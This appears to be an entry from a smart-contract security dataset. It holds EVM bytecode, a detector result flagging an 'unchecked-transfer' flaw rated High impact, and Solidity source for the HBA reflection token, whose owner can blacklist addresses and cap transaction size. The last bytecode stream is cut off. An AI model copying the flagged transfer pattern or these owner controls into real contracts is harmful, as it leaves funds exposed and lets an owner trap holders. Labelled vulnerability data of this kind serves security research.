fffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561070457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156107ad57600080fd5b600560009054906101000a900460ff16156107cb57600090506107d9565b6107d684848461100f565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561084157600080fd5b600560009054906101000a900460ff161561089e576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094657600080fd5b6000821115610a6b576109666a02116545850052128000006004546113f5565b8211156109765760009050610a70565b6109be6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140e565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a0c6004548361140e565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610a70565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ad357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b0e57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610bb357600080fd5b5af11515610bc057600080fd5b50505060405180519050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f4d4c43000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d0457600080fd5b600560009054906101000a900460ff1615610d225760009050610d2f565b610d2c838361142c565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1857600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610e5357600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561104c57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156110d957600090506113ee565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561112857600090506113ee565b60008211801561116457508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611384576111ef600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f5565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b76000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f5565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113416000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561140357fe5b818303905092915050565b600080828401905083811015151561142257fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561146957600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156114b85760009050611678565b6000821180156114f457508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561160e576115416000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836113f5565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115cb6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361140e565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a7230582043983456d39bb84c3bd73e60d9f872d79aed049ab47d4340deb218a60cd228700029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,335
0x6bc812cc552ae3f537f8fea1bb67eb9c8181def7
/** *Submitted for verification at Etherscan.io on 2021-07-04 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HBA is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Happy Birthday America"; string private constant _symbol = "HBA"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _taxFee = 2; uint256 public _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousTeamFee = _teamFee; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingAddress; address payable private _buybackAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor( address payable addr1, address payable addr2, address payable addr3 ) { _teamAddress = addr1; _marketingAddress = addr2; _buybackAddress = addr3; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_buybackAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _previousTeamFee = _teamFee; _previousTaxFee = _taxFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(_teamFee).mul(4)); _marketingAddress.transfer(amount.div(_teamFee).mul(3)); _buybackAddress.transfer(amount.div(_teamFee).mul(3)); } function startTrading() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 1000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101225760003560e01c80636fc3eaec116100a05780639eb942e5116100645780639eb942e5146103a7578063a9059cbb146103d2578063c3c8cd801461040f578063d543dbeb14610426578063dd62ed3e1461044f57610129565b80636fc3eaec146102e657806370a08231146102fd578063715018a61461033a5780638da5cb5b1461035157806395d89b411461037c57610129565b8063293230b8116100e7578063293230b814610227578063313ce5671461023e5780633b124fe7146102695780635932ead1146102945780636b999053146102bd57610129565b8062b8cf2a1461012e57806306fdde0314610157578063095ea7b31461018257806318160ddd146101bf57806323b872dd146101ea57610129565b3661012957005b600080fd5b34801561013a57600080fd5b5061015560048036038101906101509190612b04565b61048c565b005b34801561016357600080fd5b5061016c6105b6565b6040516101799190612fbd565b60405180910390f35b34801561018e57600080fd5b506101a960048036038101906101a49190612ac4565b6105f3565b6040516101b69190612fa2565b60405180910390f35b3480156101cb57600080fd5b506101d4610611565b6040516101e1919061315f565b60405180910390f35b3480156101f657600080fd5b50610211600480360381019061020c9190612a71565b610622565b60405161021e9190612fa2565b60405180910390f35b34801561023357600080fd5b5061023c6106fb565b005b34801561024a57600080fd5b50610253610c57565b60405161026091906131d4565b60405180910390f35b34801561027557600080fd5b5061027e610c60565b60405161028b919061315f565b60405180910390f35b3480156102a057600080fd5b506102bb60048036038101906102b69190612b4d565b610c66565b005b3480156102c957600080fd5b506102e460048036038101906102df91906129d7565b610d18565b005b3480156102f257600080fd5b506102fb610e08565b005b34801561030957600080fd5b50610324600480360381019061031f91906129d7565b610e7a565b604051610331919061315f565b60405180910390f35b34801561034657600080fd5b5061034f610ecb565b005b34801561035d57600080fd5b5061036661101e565b6040516103739190612ed4565b60405180910390f35b34801561038857600080fd5b50610391611047565b60405161039e9190612fbd565b60405180910390f35b3480156103b357600080fd5b506103bc611084565b6040516103c9919061315f565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f49190612ac4565b61108a565b6040516104069190612fa2565b60405180910390f35b34801561041b57600080fd5b506104246110a8565b005b34801561043257600080fd5b5061044d60048036038101906104489190612ba7565b611122565b005b34801561045b57600080fd5b5061047660048036038101906104719190612a31565b61126b565b604051610483919061315f565b60405180910390f35b6104946112f2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610521576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610518906130bf565b60405180910390fd5b60005b81518110156105b2576001600c60008484815181106105465761054561351c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105aa90613475565b915050610524565b5050565b60606040518060400160405280601681526020017f486170707920426972746864617920416d657269636100000000000000000000815250905090565b60006106076106006112f2565b84846112fa565b6001905092915050565b6000683635c9adc5dea00000905090565b600061062f8484846114c5565b6106f08461063b6112f2565b6106eb856040518060600160405280602881526020016138db60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a16112f2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c849092919063ffffffff16565b6112fa565b600190509392505050565b6107036112f2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610787906130bf565b60405180910390fd5b601260149054906101000a900460ff16156107e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d790612fff565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061087030601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112fa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee9190612a04565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561095057600080fd5b505afa158015610964573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109889190612a04565b6040518363ffffffff1660e01b81526004016109a5929190612eef565b602060405180830381600087803b1580156109bf57600080fd5b505af11580156109d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f79190612a04565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a8030610e7a565b600080610a8b61101e565b426040518863ffffffff1660e01b8152600401610aad96959493929190612f41565b6060604051808303818588803b158015610ac657600080fd5b505af1158015610ada573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aff9190612bd4565b5050506001601260166101000a81548160ff0219169083151502179055506000601260176101000a81548160ff021916908315150217905550670de0b6b3a76400006013819055506001601260146101000a81548160ff021916908315150217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c01929190612f18565b602060405180830381600087803b158015610c1b57600080fd5b505af1158015610c2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c539190612b7a565b5050565b60006009905090565b60085481565b610c6e6112f2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cfb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf2906130bf565b60405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b610d206112f2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da4906130bf565b60405180910390fd5b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e496112f2565b73ffffffffffffffffffffffffffffffffffffffff1614610e6957600080fd5b6000479050610e7781611ce8565b50565b6000610ec4600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9b565b9050919050565b610ed36112f2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f57906130bf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4842410000000000000000000000000000000000000000000000000000000000815250905090565b60095481565b600061109e6110976112f2565b84846114c5565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e96112f2565b73ffffffffffffffffffffffffffffffffffffffff161461110957600080fd5b600061111430610e7a565b905061111f81611f09565b50565b61112a6112f2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ae906130bf565b60405180910390fd5b600081116111fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f19061307f565b60405180910390fd5b611229606461121b83683635c9adc5dea0000061219190919063ffffffff16565b61220c90919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601354604051611260919061315f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561136a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113619061311f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d19061303f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114b8919061315f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611535576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152c906130ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159c90612fdf565b60405180910390fd5b600081116115e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115df906130df565b60405180910390fd5b6115f061101e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561165e575061162e61101e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611bc157601260179054906101000a900460ff1615611891573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116e057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561173a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117945750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561189057601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117da6112f2565b73ffffffffffffffffffffffffffffffffffffffff1614806118505750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118386112f2565b73ffffffffffffffffffffffffffffffffffffffff16145b61188f576040517f08c379a00000000000000000000